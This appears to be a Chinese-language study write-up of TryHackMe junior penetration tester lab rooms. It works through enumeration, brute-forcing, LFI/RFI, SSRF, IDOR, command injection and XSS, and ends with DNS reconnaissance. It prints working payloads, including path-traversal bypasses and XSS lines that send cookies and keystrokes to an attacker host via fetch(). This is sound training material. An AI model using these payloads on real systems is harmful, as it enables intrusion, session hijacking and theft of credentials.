该学习路径涵盖了核心技术技能,使您能够成为一名成功的初级渗透测试员。完成此路径后,您将具备对 Web 应用程序和企业基础设施执行安全评估所需的实用技能。
Jr Penetration Tester学习
网络安全简介
进攻性安全性简介
Task1 什么是进攻性安全?
Task2 入侵您的第一台计算机
本次任务是破解一个名为 FakeBank 的虚假银行应用程序
使用gobuster进行目录扫描
1 | gobuster -u http://fakebank.com -w wordlist.txt dir |
扫描结果如下
发现可以路径/bank-transfer
,访问一下发现是类似银行转账
按照任务要求将 2000 美元从银行账户 2276 转入您的账户(账号 8881),成功转入我的账户
Task3 网络安全领域的工作
- 渗透测试员 - 负责测试技术产品以查找可利用的安全漏洞。
- 红队成员 - 扮演对手的角色,攻击组织并从敌人的角度提供反馈。
- 安全工程师 - 设计、监控和维护安全控制、网络和系统,以帮助防止网络攻击。
防御性安全简介
Task1 防御性安全简介
Task2 防御性安全领域
安全运营中心 (SOC)
安全运营中心 (SOC) 是一支由网络安全专业人员组成的团队,负责监控网络及其系统以检测恶意网络安全事件。SOC 的一些主要关注领域是:
- 漏洞:每当发现系统漏洞(弱点)时,都必须通过安装适当的更新或补丁来修复它。当修补程序不可用时,应采取必要的措施来防止攻击者利用它。尽管修复漏洞与 SOC 的切身利益息息相关,但不一定分配给他们。
- 策略冲突:我们可以将安全策略视为保护网络和系统所需的一组规则。例如,如果用户开始将公司的机密数据上传到在线存储服务,则可能违反了策略。
- 未经授权的活动:考虑用户登录名和密码被盗,攻击者使用它们登录网络的情况。SOC 需要检测到此类事件并尽快阻止它,以免造成进一步的损害。
- 网络入侵:无论您的安全性有多好,总有入侵的机会。当用户点击恶意链接或攻击者利用公共服务器时,可能会发生入侵。无论哪种方式,当发生入侵时,我们必须尽快检测到它,以防止进一步的损害。
安全操作涵盖各种任务以确保保护;其中一项任务是威胁情报。
在这种情况下,情报是指您收集的有关实际和潜在敌人的信息。威胁是指可能破坏系统或对系统产生不利影响的任何操作。威胁情报旨在收集信息,以帮助公司更好地准备应对潜在对手。目的是实现威胁知情防御。不同的公司有不同的对手。一些攻击者可能试图从移动运营商那里窃取客户数据;然而,其他对手也有兴趣停止炼油厂的生产。示例攻击者包括出于政治原因工作的民族国家网络军队和出于财务目的行事的勒索软件组织。根据公司(目标),我们可以预期对手。
数据收集是从本地来源(如网络日志)和公共来源(如论坛)完成的。数据处理旨在将它们排列成适合分析的格式。分析阶段旨在查找有关攻击者及其动机的更多信息;此外,它旨在创建建议和可操作步骤的列表。
了解您的对手可以让您了解他们的策略、技术和程序。作为威胁情报的结果,我们识别威胁行为者(对手),预测他们的活动,因此,我们将能够缓解他们的攻击并准备响应策略。
数字取证和事件响应 (DFIR)
本部分介绍数字取证和事件响应 (DFIR),我们将介绍:
- 数字取证
- 事件响应
- 恶意软件分析
数字取证
取证是应用科学来调查犯罪和确定事实。随着计算机和智能手机等数字系统的使用和普及,取证的一个新分支诞生了,用于调查相关犯罪:计算机取证,后来演变为数字取证。
在防御性安全方面,数字取证的重点转移到分析攻击及其肇事者的证据,以及其他领域,例如知识产权盗窃、网络间谍和拥有未经授权的内容。因此,数字取证将侧重于不同的领域,例如:
- 文件系统:分析系统存储的数字取证图像(低级副本)可以揭示许多信息,例如已安装的程序、创建的文件、部分覆盖的文件和已删除的文件。
- 系统内存:如果攻击者在内存中运行恶意程序,但未将其保存到磁盘,则获取系统内存的取证图像(低级副本)是分析其内容并了解攻击的最佳方式。
- 系统日志:每个客户端和服务器计算机都维护着不同的日志文件,说明发生了什么。日志文件提供了有关系统上所发生情况的大量信息。即使攻击者试图清除他们的痕迹,也会留下一些痕迹。
- 网络日志:遍历网络的网络数据包的日志将有助于回答有关是否发生攻击及其后果的更多问题。
应急响应
事件通常是指数据泄露或网络攻击;但是,在某些情况下,它可能不太重要,例如配置错误、入侵尝试或违反策略。网络攻击的示例包括攻击者使我们的网络或系统无法访问、污损(更改)公共网站以及数据泄露(窃取公司数据)。您将如何应对网络攻击?事件响应 指定了处理此类情况应遵循的方法。目的是在尽可能短的时间内减少损害和恢复。理想情况下,您将制定一个为事件响应做好准备的计划。
事件响应过程的四个主要阶段是:
- 准备:这需要一支经过培训并准备好处理事件的团队。理想情况下,采取各种措施来从一开始就防止事件发生。
- 检测和分析: 团队拥有检测任何事件所需的资源;此外,必须进一步分析任何检测到的事件以了解其严重性。
- 遏制、根除和恢复:一旦检测到事件,就必须阻止它影响其他系统,消除它并恢复受影响的系统。例如,当我们注意到某个系统感染了计算机病毒时,我们希望阻止(遏制)病毒传播到其他系统,清理(根除)病毒,并确保系统正确恢复。
- 事件后活动:成功恢复后,将生成报告,并分享经验教训,以防止将来发生类似的事件。
恶意软件分析
恶意软件代表恶意软件。软件是指可以保存在磁盘上或通过网络发送的程序、文档和文件。恶意软件包括多种类型,例如:
- 病毒是一段代码(程序的一部分),它把自身附加到一个程序上。它旨在从一台计算机传播到另一台计算机;此外,它的工作原理是在感染计算机后更改、覆盖和删除文件。结果范围从计算机变慢到无法使用。
- 特洛伊木马是一种程序,它显示一个理想的功能,但在下面隐藏了一个恶意功能。例如,受害者可能会从可疑网站下载视频播放器,从而使攻击者能够完全控制其系统。
- 勒索软件是一种加密用户文件的恶意程序。加密会使文件在不知道加密密码的情况下无法读取。如果用户愿意支付 “赎金”,攻击者会向用户提供加密密码。
恶意软件分析旨在通过各种方式了解此类恶意程序:
- 静态分析的工作原理是检查恶意程序而不运行它。通常,这需要扎实的汇编语言知识(处理器的指令集,即计算机的基本指令)。
- 动态分析的工作原理是在受控环境中运行恶意软件并监控其活动。它允许您观察恶意软件在运行时的行为方式。
Task3 防御性安全的实际示例
背景
您是负责保护银行的安全运营中心 (SOC) 的一员。该银行的 SOC 使用安全信息和事件管理 (SIEM) 系统。SIEM 从各种来源收集与安全相关的信息和事件,并通过一个系统呈现它们。例如,如果登录尝试失败或从意外的地理位置尝试登录,您将收到通知。此外,随着机器学习的出现,SIEM 可能会检测到异常行为,例如用户在凌晨 3 点登录,而他通常只在工作时间登录。
防御性安全练习
注意到在早上十点出现143.110.250.149
的ip进行未授权连接22端口
我们利用ip查询工具进行查询
成功找到恶意ip的实际地址
上报给团队负责人后,添加黑名单
Web Hacking简介
遍历应用程序
手工检查web应用程序
- 查看源代码 - 使用浏览器查看网站的人类可读源代码
- 检查器 - 了解如何检查页面元素并进行更改以查看通常被阻止的内容
- Debugger - 检查和控制页面 JavaScript 的流程
- 网络 - 查看页面发出的所有网络请求
Task1 查看页面源
在本房间学习,如何仅使用浏览器中的内置工具手动检查 Web 应用程序是否存在安全问题
我们通过查看源代码,注意到注释里的特殊路径
访问/new-home-beta
得到第一个flag
我们注意到第41行的超链接,访问得到第二个flag
注意到这些文件都存放在/assets
目录下
访问得到第三个flag
继续往下找发现web程序使用的框架是THM v1.2
尝试从框架入手,跟进一下更新日志
我们注意到在1.3版本把备份文件存储到不可读取的区域,而我们刚好是1.2尝试读取备份文件/tmp.zip
,解压得到第四个flag
Task2 开发人员工具-inspector
我们注意到news的第三篇是需要付费的,被付费墙挡住了
我们F12打开web开发者工具,将鼠标移到挡住的墙上
注意到premium-customer-blocker
属性的display元素是block,我们将其改为none成功读取到flag
Task3 开发人员工具 - 调试器
开发人员工具中的这个面板用于调试 JavaScript,对于想要找出某些内容可能无法正常工作的原因的 Web 开发人员来说,它同样是一个出色的功能。但作为渗透测试人员,它为我们提供了深入研究 JavaScript 代码的选项。在 Firefox 和 Safari 中,此功能称为 Debugger,但在 Google Chrome 中,它称为 Sources。
我们点击contact界面,然后点击调试器的flash.min.js文件,点击左下角的美化
在第110行打下断点,刷新此页面得到flag
Task4 开发人员工具 - 网络
先清空下网络的缓存,然后填写表单发送。从响应处得到flag
信息搜集
Task1 手动发现-robots.txt
访问/robots.txt
即可
Task2 手动发现-Favicon
网站图标是显示在浏览器地址栏或选项卡中的一个小图标,用于为网站打造品牌。有时当使用框架构建网站时,作为安装一部分的网站图标会留下来,如果网站开发人员没有用自定义图标替换它,这可以给我们提供关于正在使用的框架的线索。OWASP 托管一个通用框架图标数据库,您可以使用该数据库来检查目标 favicon
https://wiki.owasp.org/index.php/OWASP_favicon_database
。一旦我们了解了框架堆栈,我们就可以使用外部资源来发现更多关于它的信息
某个网站的图标没有被开发人员自定义替换,我们下载目标网站图标并获取其 md5 哈希值
1 | curl https://static-labs.tryhackme.cloud/sites/favicon/images/favicon.ico | md5sum |
通过在https://wiki.owasp.org/index.php/OWASP_favicon_database
查询,得到是cgiirc框架
Task3 手动发现-Sitemap.xml
与限制搜索引擎爬虫可以查看的内容的 robots.txt 文件不同,sitemap.xml 文件提供了网站所有者希望在搜索引擎上列出的每个文件的列表。这些有时可能包含网站中更难导航到的区域,甚至列出一些当前网站不再使用但仍在幕后运行的旧网页。
访问/sitemap.xml
得到线索
Task4 手动发现-HTTP请求头
使用curl命令的-v
参数启用详细模式
1 | curl http://10.10.48.71/ -v |
Task5 手动发现 - 框架堆栈
一旦你建立了一个网站的框架,无论是从上面的网站图标示例,还是通过在页面源中寻找线索(如评论、版权声明或信用),你都可以找到该框架的网站。从那里,我们可以了解有关软件和其他信息的更多信息,这可能会导致我们可以发现更多内容。
在页面源码发现框架网站,来看看THM框架的文档
存在admin管理员用户,我们访问/thm-framework-login
登录找到flag
Task6 开源情报-谷歌搜索语法
利用谷歌搜索引擎的特殊语法
滤波器 | 例 | 描述 |
---|---|---|
site | site:tryhackme.com | 仅返回来自指定网站地址的结果 |
inurl | inurl:admin | 返回 URL 中包含指定单词的结果 |
filetype | filetype:PDF | 返回具有特定文件扩展名的结果 |
intitle | intitle:admin | 返回标题中包含指定单词的结果 |
更多语法可参考 https://en.wikipedia.org/wiki/Google_hacking
Task7 开源情报-Wappalyzer
Wappalyzer (
https://www.wappalyzer.com/
) 是一个在线工具和浏览器扩展,可帮助识别网站使用的技术,例如框架、内容管理系统 (CMS)、支付处理器等等,它甚至可以找到版本号。
Task8 开源情报-Github
您可以使用 GitHub 的搜索功能查找公司名称或网站名称,以尝试查找属于您的目标的存储库。一旦被发现,您可能可以访问源代码、密码或其他尚未找到的内容。
Task9 开源情报-S3 Buckets
S3 Buckets 是 Amazon AWS 提供的一项存储服务,允许人们将文件甚至静态网站内容保存在云中,可通过 HTTP 和 HTTPS 访问。文件所有者可以设置访问权限,将文件设为公共、私有甚至可写。有时,这些访问权限设置不正确,并无意中允许访问不应向公众开放的文件。S3 存储桶的格式为
http(s)://{name}.s3.amazonaws.com
其中 {name} 由所有者决定,例如 tryhackme-assets.s3.amazonaws.com。可以通过多种方式发现 S3 存储桶,例如在网站的页面源、GitHub 存储库中查找 URL,甚至自动执行该过程。一种常见的自动化方法是使用公司名称,后跟 {name}-assets、{name}-www、{name}-public、{name}-private 等常用术语 。
Task10 自动发现
使用ffuf和gobuster都可以,挂openvpn太慢了所以这里拿attackbox扫的
1 | ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.10.48.71/FUZZ |
扫描结果如下
子域枚举
Task1 开源情报-SSL/TLS 证书
SSL/TLS 证书
当 CA(证书颁发机构)为域创建 SSL/TLS(安全套接字层/传输层安全性)证书时,CA 会参与所谓的“证书透明度 (CT) 日志”。这些是为域名创建的每个 SSL/TLS 证书的可公开访问日志。Certificate Transparency 日志的目的是阻止使用恶意和意外制作的证书。我们可以利用这项服务来发现属于某个域的子域,像 https://crt.sh 和 https://ui.ctsearch.entrust.com/ui/ctsearchui 这样的网站提供了一个可搜索的证书数据库,可以显示当前和历史结果。
我们访问https://crt.sh
,搜索tryhackme.com
域名,成功找到在2020-12-26创建的子域名
Task2 开源情报-搜索引擎
利用谷歌的搜索引擎,查找tryhackme.com
的子域名
1 | site:*.tryhackme.com |
如果想排除某子域名比如www,可以执行以下命令
1 | site:*.tryhackme.com -site:www.tryhackme.com |
Task3 DNS 暴力破解
Bruteforce DNS(域名系统)枚举是从预定义的常用子域列表中尝试数十、数百、数千甚至数百万个不同可能的子域的方法。由于此方法需要许多请求,因此我们使用工具将其自动化以加快流程。
使用dnsrecon工具进行扫描
Task4 开源情报-Sublist3r
使用Sublist3r实现自动化探测子域名
Task5 虚拟主机
某些子域并不总是托管在可公开访问的 DNS 结果中,例如 Web 应用程序的开发版本或管理门户。相反这些可以保存在私有 DNS 服务器上,也可以记录在开发人员计算机上的 /etc/hosts 文件(或 Windows 用户的 c:\windows\system32\drivers\etc\hosts 文件)中,该文件将域名映射到 IP 地址。由于当客户端请求某个网站时,Web 服务器可以在一台服务器上托管多个网站,因此我们可以从http请求头host上进行扫描
使用ffuf扫描靶机的子域名
1 | ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.37.27 |
这里会出现非常多的扫描结果,可以使用-fs
参数进行过滤,因为大部分的无价值的响应内容大小相同
1 | ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.37.27 -fs 2395 |
成功扫出来子域名delta
和yellow
身份验证绕过
Task1 用户名枚举
我们在网站的注册页面进行用户创建时,当我们注册用户名为admin时会回显username already exists
我们可以利用此错误消息的存在,使用ffuf工具对用户名进行枚举
1 | ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=test&password=test&cpassword=test" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.32.235/customers/signup -mr "username already exists" >> listofusers.txt |
注:在上面的示例中,
-w
参数选择计算机上包含我们要检查的用户名列表的文件位置。-X
参数指定请求方法,默认情况下这将是 GET 请求,但在我们的示例中它是 POST 请求。-d
参数指定我们要发送的数据。在我们的示例中,我们有用户名、电子邮件、密码和 cpassword 字段。我们已将用户名的值设置为FUZZ 。在 ffuf 工具中,FUZZ 关键字表示单词列表中的内容将插入到请求中的位置。-H
参数用于向请求添加附加标头。在本例中,我们设置Content-Type
,以便 Web 服务器知道我们正在发送表单数据。-u
参数指定我们发出请求的 URL,最后,-mr
参数是我们要查找的页面上的文本,以验证我们是否找到了有效的用户名。
得到四个用户名
1 | admin |
Task2 暴力破解
将扫出来的用户名添加到listofusers.txt
文件里
1 | ffuf -w listofusers.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.122.157/customers/login -fc 200 |
成功爆破出用户以及对应的密码
Task3 逻辑缺陷
示例
1 | if( url.substr(0,6) === '/admin') { |
在访问/admin
的时候会对用户进行检查,由于上面的 PHP 代码示例使用三个等号 (===),因此它会在字符串上查找完全匹配的内容,包括相同的字母大小写。但如果我们访问/adMin
将不会被检查权限,从而实现绕过身份验证
在本靶机中的/customer/reset
路径下存在重置密码功能,如果输入的电子邮件无效,您将收到错误消息“从提供的电子邮件地址找不到帐户”。假设我们使用已接受的电子邮件地址去发送,将会看到确认信息发送至邮件
经过测试,当我们通过GET传参重置密码对应的电子邮件时,成功发送说明存在缺陷
1 | curl 'http://10.10.122.157/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert' |
靶机的应用程序中,使用查询字符串检索用户帐户,但稍后在应用程序逻辑中,使用PHP变量$_REQUEST
中找到的数据发送密码重置电子邮件。由于PHP $_REQUEST
变量是一个数组,其中包含从查询字符串接收的数据和 POST 数据。如果查询字符串和 POST 数据使用相同的键名,则该变量的应用程序逻辑更倾向于 POST 数据字段而不是查询字符串
我们先注册我们自己的账户
然后利用 $_REQUEST
的特性缺陷优先匹配POST参数值,由于该邮件地址customer.acmeitsupport.thm
存在对应的用户rev1ve,使得电子邮件成功发送到我们的账号下
1 | curl 'http://10.10.122.157/customers/reset?email=robert@acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=rev1ve@customer.acmeitsupport.thm' |
发送后刷新下用户界面,成功收到电子邮件
点击链接成功访问到robert用户的界面,拿到flag
Task4 Cookie篡改
Cookie如果为纯文本形式的话,作用其实是很明显的,比如
1 | Cookie: admin=false;logged_in=false |
上述Cookie控制着是否登陆成功以及是否为管理员用户
当我们正常去curl目标页面时显示没有登录
尝试发送修改的cookie
1 | curl -H "Cookie:logged_in=true; admin=true" http://10.10.56.209/cookie-test |
成功以管理员身份登录
如果Cookie是编码形式的话,比如
1 | session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/ |
我们只需要将admin键改为true后,再base6 4编码回去即可
不安全直接对象引用
IDOR代表不安全直接对象引用,是一种访问控制漏洞。当 Web 服务器接收用户提供的输入以检索对象(文件、数据、文档)、对输入数据过于信任并且未在服务器端进行验证以确认输入数据时,可能会发生此类漏洞。请求的对象属于请求它的用户。
打开靶机,创建用户后登录
在account界面F12点击网络,刷新一下发现存在路径为 /api/v1/customer?id=50
的端点的调用
并且查看下响应的json数据,刚好id为50是对应我们账户
尝试查看id为1的用户,成功获得用户信息
文件包含
Task1 路径遍历
常见操作系统文件
Location 地点 | Description 描述 |
---|---|
/etc/issue | 包含在登录提示之前打印的消息或系统标识。 |
/etc/profile | 控制系统范围的默认变量,例如导出变量、文件创建掩码 (umask)、终端类型、指示新邮件何时到达的邮件消息 |
/proc/version | 指定Linux内核的版本 |
/etc/passwd | 拥有有权访问系统的所有注册用户 |
/etc/shadow | 包含有关系统用户密码的信息 |
/root/.bash_history | 包含 root 用户的历史命令 |
/var/log/dmessage | 包含全局系统消息,包括系统启动期间记录的消息 |
/var/mail/root | root用户的所有电子邮件 |
/root/.ssh/id_rsa | 服务器上 root 或任何已知有效用户的SSH私钥 |
/var/log/apache2/access.log | Apache Web 服务器的访问请求 |
C:\boot.ini | 包含具有BIOS固件的计算机的启动选项 |
Task2 本地文件包含 - LFI
如果include函数没有限制目录
1 | PHP |
那么就可以直接读取敏感文件
1 | ?lab1.php?file=/etc/passwd |
如果限制了读取的目录,比如当我们输入以下内容
1 | ?lab2.php?file=/etc/passwd |
会发现有报错,includes
目录下没有此文件
对于黑盒测试来说,我们可以利用包含不存在的文件或者输入无效的输入,触发报错来泄露错误信息
1 | Warning: include(includes//etc/passwd) [function.include]: failed to open stream: No such file or directory in /var/www/html/lab2.php on line 26 |
从而知道包含的目录,并且还知道了当前工作路径/var/www/html
除了限制文件包含的路径外,继续学习文件包含中过滤器fliter的应用。我们看向lab3,当我们输入/etc/passwd
时出现报错,仔细观察包含的文件变成/etc/passwd.php
这其实是一种常见的手段,就是我们只能传文件名,然后与.php
进行拼接去包含
这里我们可以利用%00
来进行截断攻击,变成如下结果
1 | include("language/../../../../../etc/passwd%00".".php") => include("language/../../../../../etc/passwd |
注:不过这种攻击方式php版本必须低于5.3.4
通过get传入payload,成功绕过
除了将文件名拼接,filter过滤器还可以对敏感文件的关键字进行过滤比如/etc/passwd
。我们可以利用.
表示当前目录的特性去绕过
(当然%00
也可以绕过关键字过滤)
1 | /etc/passwd/. |
还有最常见的过滤方式就是过滤../
,防止我们进行路径遍历,当然这种替换方式很好绕过,使用双写绕过即可
1 | ....//....//....//etc/passwd |
Task3 远程文件包含 - RFI
远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 是在不正确地清理用户输入时发生的,从而允许攻击者将外部 URL 注入包含函数中。 RFI 的一项要求是需要打开allow_url_fopen选项。
RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 ( RCE )。成功的RFI攻击的其他后果包括:
- 敏感信息披露
- 跨站脚本( XSS )
- 拒绝服务 ( DoS )
我们在服务器上创建恶意php文件,然后开启http服务后远程包含我们的文件即可
1 | http://10.10.27.18/playground.php?file=http://10.10.221.23:1028/Fhello.php |
Task4 修复措施
作为开发人员,了解 Web 应用程序漏洞、如何查找它们以及预防方法非常重要。为了防止文件包含漏洞,一些常见的建议包括:
- 保持系统和服务(包括 Web 应用程序框架)更新为最新版本。
- 关闭PHP错误以避免泄漏应用程序的路径和其他可能泄露的信息。
- Web 应用程序防火墙(WAF) 是帮助减轻 Web 应用程序攻击的不错选择。
- 如果您的 Web 应用程序不需要某些会导致文件包含漏洞的 PHP 功能,请禁用
allow_url_fopen
和allow_url_include
。 - 仔细分析 Web 应用程序,仅允许需要的协议和PHP包装器。
- 永远不要相信用户输入,并确保针对文件包含实施正确的输入验证。
- 实施文件名和位置白名单以及黑名单。
Task5 测试挑战
挑战1
尝试输入/etc/passwd
,出现提示为POST传参。那么我们bp抓包修改请求方式为POST即可
挑战2
提示需要admin才能看到界面,直接抓包修改cookie参数
1 | Cookie: THM=admin |
这里捣鼓了半天,原来注入点就是Cookie的THM参数,这里测试下发现限制目录和与.php
进行拼接
1 | ../../../../../etc/flag2%00 |
挑战3
尝试输入../../../etc/passwd
,出现报错
将查询文件与.php
进行拼接,还有过滤了.
和/
提示说是该页面使用$_REQUESTS
来接受 HTTP 请求,那么我们burpsuite抓包修改下
1 | POST /challenges/chall3.php?file=../../../../../etc/flag3%00 HTTP/1.1 |
成功拿到flag
挑战4
和前面远程文件包含一样,不过就是把恶意php文件内容改一下
1 | system("hostname"); |
SSRF 服务器端请求伪造
Task1 SSRF示例
预期请求是 website.thm 服务器期望接收的内容,红色部分是网站将获取信息的 URL。而攻击者可以将红色区域修改为他们所利用的URL
攻击者可以目录遍历来控制路径,比如url传入以下内容
1 | http://website.thm/stock?url=/../user |
那么应用程序在处理的时候就会变成对http://website.thm/stock/../user
发起请求
有这么一种情况,就是攻击者可以控制向其发出请求的服务器的子域。正常情况下我们只能通过server参数传入子域名
1 | http://website.thm/stock?server=api&id=1 => http://api.website.thm/stock?id=1 |
很明显限制了我们访问敏感路径,不过我们可以利用&x=
结尾来绕过,作用是阻止将剩余路径附加到攻击者 URL 的末尾,并将其转换为查询字符串上的参数 ?x=
,我们修改下server参数的值
1 | http://website.thm/stock?server=api.website.thm/api/user?id=1&x= |
这样子在进行处理的时候就成功访问敏感路径了
1 | http://api.website.thm/api/user?id=1&x=.website.thm/stock?server=api.website.thm/api/user?id=1 |
还有一种情况,就是我们可以将请求发送到我们的服务器上,这样可以捕获发送到攻击者指定域的HTTP请求头,这可能包含身份验证凭据或者API密钥
Task2 SSRF常见位置
Task3 SSRF防护
黑名单
拒绝列表是除了列表中指定的资源或匹配特定模式的资源之外的所有请求都被接受的地方。 Web 应用程序可以使用拒绝列表来保护敏感端点、IP 地址或域免遭公众访问,同时仍允许访问其他位置。限制访问的特定端点是 localhost,它可能包含服务器性能数据或其他敏感信息,因此 localhost 和 127.0.0.1 等域名将出现在拒绝列表中。攻击者可以使用替代本地主机引用(例如 0、0.0.0.0、0000、127.1、127.*.*.*、2130706433、017700000001
)或具有解析为 IP 地址 127.0.0.1 的DNS记录的子域来绕过拒绝列表例如 127.0.0.1.nip.io。
此外,在云环境中,阻止对 IP 地址 169.254.169.254 的访问将是有益的,该地址包含已部署云服务器的元数据,包括可能的敏感信息。攻击者可以通过在自己的域上使用指向 IP 地址 169.254.169.254 的DNS记录注册子域来绕过此漏洞。
白名单
白名单是所有请求都被拒绝的地方,除非它们出现在列表中或匹配特定模式,例如参数中使用的 URL 必须以 https://website.thm
开头的规则。攻击者可以通过在攻击者的域名上创建子域(例如 https://website.thm.attackers-domain.thm
)来快速规避此规则。应用程序逻辑现在将允许此输入并让攻击者控制内部 HTTP 请求。
打开重定向
如果上述绕过方法不起作用,那么攻击者还有另外一种伎俩,即开放重定向。开放重定向是服务器上的一个端点,网站访问者会自动重定向到另一个网站地址。以链接 https://website.thm/link?url=https://tryhackme.com
为例。创建此端点是为了记录访问者出于广告/营销目的点击此链接的次数。但想象一下,存在一个潜在的 SSRF 漏洞,具有严格的规则,只允许以 https://website.thm/
开头的 URL。攻击者可以利用上述功能将内部 HTTP 请求重定向到攻击者选择的域。
Task4 SSRF实战
打开靶机,提供了两个新路径/private
和/customers/new-account-page
当我们访问/private
时发现IP不被允许
先创建个用户然后登录访问/customers/new-account-page
,当我们点击图片属性时,发现图片来源于/assets/avatars/1.png
并且下面当表单提交时, value
属性会被发送到服务器,我们尝试修改为刚刚不被允许访问的/private
更新头像,不过好像不能是以private开头
payload如下
1 | <input type="radio" name="avatar" value="assets/../private"> |
更新好后,把当前头像base64解码得到flag
XSS 跨站脚本攻击
Task1 XSS payload
最基础的弹出一个带有文本字符串的警告框
1 | <script>alert('XSS');</script> |
会话窃取
可以获取目标的 cookie,对 cookie 进行 base64 编码以确保成功传输
1 | <script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script> |
按键记录器
下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制下的网站
1 | <script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script> |
业务逻辑
假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为user.changeEmail()
1 | <script>user.changeEmail('attacker@hacker.thm');</script> |
现在帐户的电子邮件地址已更改,攻击者可能会执行重置密码攻击。
Task2 反射型XSS
当用户在HTTP请求中提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS。
Task3 存储型XSS
顾名思义, XSS有效负载存储在 Web 应用程序中(例如数据库中),然后在其他用户访问该网站或网页时运行。
Task4 基于DOM的XSS
什么是 DOM?
DOM 代表文档对象模型,是 HTML 和XML文档的编程接口。它代表页面,以便程序可以更改文档结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中,也可以作为 HTML 源代码显示。 HTML DOM 的图表如下所示:
利用 DOM
DOM 基于XSS是指 JavaScript 直接在浏览器中执行,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码作用于输入或 用户交互。
示例场景:
网站的 JavaScript 从window.location.hash
获取内容 参数,然后将其写入当前正在使用的页面上 已查看部分。不会检查哈希内容是否存在恶意 代码,允许攻击者将他们选择的 JavaScript 注入到 网页。
潜在影响:
精心制作的链接 可以发送给潜在的受害者,将他们重定向到另一个网站 或从页面或用户会话中窃取内容。
如何测试基于 Dom 的XSS :
基于 DOM 的 XSS 测试可能具有挑战性,并且需要一定的 JavaScript 知识才能阅读源代码。您需要查找访问攻击者可以控制的某些变量的代码部分,例如“ window.location.x ”参数。
当您找到这些代码时,您需要查看它们是如何处理的,以及这些值是否被写入网页的 DOM 或传递给不安全的 JavaScript 方法,例如eval() 。
Task5 XSS盲注
使用XSS Hunter Express工具会自动捕获 cookie、URL、页面内容等
工具地址:https://github.com/mandatoryprogrammer/xsshunter-express
Task6 完善payload
level1
1 | <script>alert('THM');</script> |
level2
我们继续用上面payload测试,发现失败。查看源码原来是我们的被嵌入到value元素了
修改下payload,把前面的input标签闭合
1 | "><script>alert('THM');</script> |
level3
拿最普通payload测试,出现了<textarea>
标签
<textarea>
标签在HTML中用于创建一个可以让用户输入多行文本的输入控件,通常用于表单中的留言、评论或较长文本的输入。与<input type="text">
类似,但它可以容纳更多的文本,并且文本区域的大小可以调整(虽然默认情况下是固定的,可以通过CSS来改变)。
我们闭合前面即可
1 | </textarea><script>alert('THM');</script> |
level4
测试发现失败,查看源码注意到下面代码
我们修改下payload,把前后的单引号闭合
1 | ';alert('THM');' |
level5
输入正常payload,发现关键字被过滤了
修改payload,大小写绕过下
1 | <sCript>alert('THM')</sCript> |
level6
只能输入图片的路径,前后闭合下双引号
1 | /images/1.jpg" onerror="alert('THM'); #也可以/images/cat.jpg" onload="alert('THM'); |
Task7 实战
打开靶机,创建好用户后点击Support Tickets,创建个票据来测试是否存在XSS漏洞
发现又是<textarea>
标签,我们重新创建一个票据,把前面payload复制到内容处
1 | </textarea><script>alert('THM');</script> |
成功测试出XSS漏洞
我们在服务器开启监听来窃取其他访问我们票据的用户cookie
1 | </textarea><script>fetch('http://10.10.110.189:777/?cookie='+btoa(document.cookie));</script> |
成功窃取其他用户的cookie,base64解码一下即可
命令注入
打开靶机,发现是一个测试设备IP的
使用;
添加执行的命令,查看当前用户
1 | 127.0.0.1;whoami |
cat命令查看flag
1 | 127.0.0.1;cat /home/tryhackme/flag.txt |
网络安全
被动识别
Task1 whois
使用在线网站查询域名
Task2 nslookup
使用 nslookup 查找域名的 IP 地址,参数如下
查询类型 | 结果 |
---|---|
A | IPv4 地址 |
AAAA | IPv6 地址 |
CNAME | 规范名称 |
MX | 邮件服务器 |
SOA | 授权开始 |
TXT | TXT 记录 |
发出命令 nslookup DOMAIN_NAME
,例如 nslookup tryhackme.com
。或者可以使用 nslookup OPTIONS DOMAIN_NAME SERVER
。这三个主要参数是:
- OPTIONS 包含下表所示的查询类型。例如,您可以将
A
用于 IPv4 地址,将AAAA
用于 IPv6 地址。 - DOMAIN_NAME 是您要查找的域名。
- SERVER 是要查询的 DNS 服务器。您可以选择任何本地或公有 DNS 服务器进行查询。Cloudflare 提供
1.1.1.1
和1.0.0.1,Google
提供8.8.8.8
和8.8.4.4,Quad9
提供9.9.9.9
和149.112.112.112。
目的 | 命令行示例 |
---|---|
查找 DNS A 记录 | nslookup -type=A tryhackme.com |
在 DNS 服务器上查找 DNS MX 记录 | nslookup -type=MX tryhackme.com 1.1.1.1 |
查找 DNS TXT 记录 | nslookup -type=TXT tryhackme.com |
Task3 DNSDumpster
可以使用为 DNS 查询提供详细答案的在线服务,例如 DNSDumpster。如果我们在 DNSDumpster 中搜索 tryhackme.com
,我们会发现子域 blog.tryhackme.com
,这是典型的 DNS 查询无法提供的。此外,DNSDumpster 会将收集到的 DNS 信息以易于阅读的表格和图表形式返回。DNSDumpster 还将提供有关侦听服务器的任何收集信息。
Task4 Shodan.io
此记录显示 Web 服务器;但是,如前所述,Shodan.io 会收集与它可以在网上找到的任何连接设备相关的信息。在 Shodan.io 上搜索 tryhackme.com
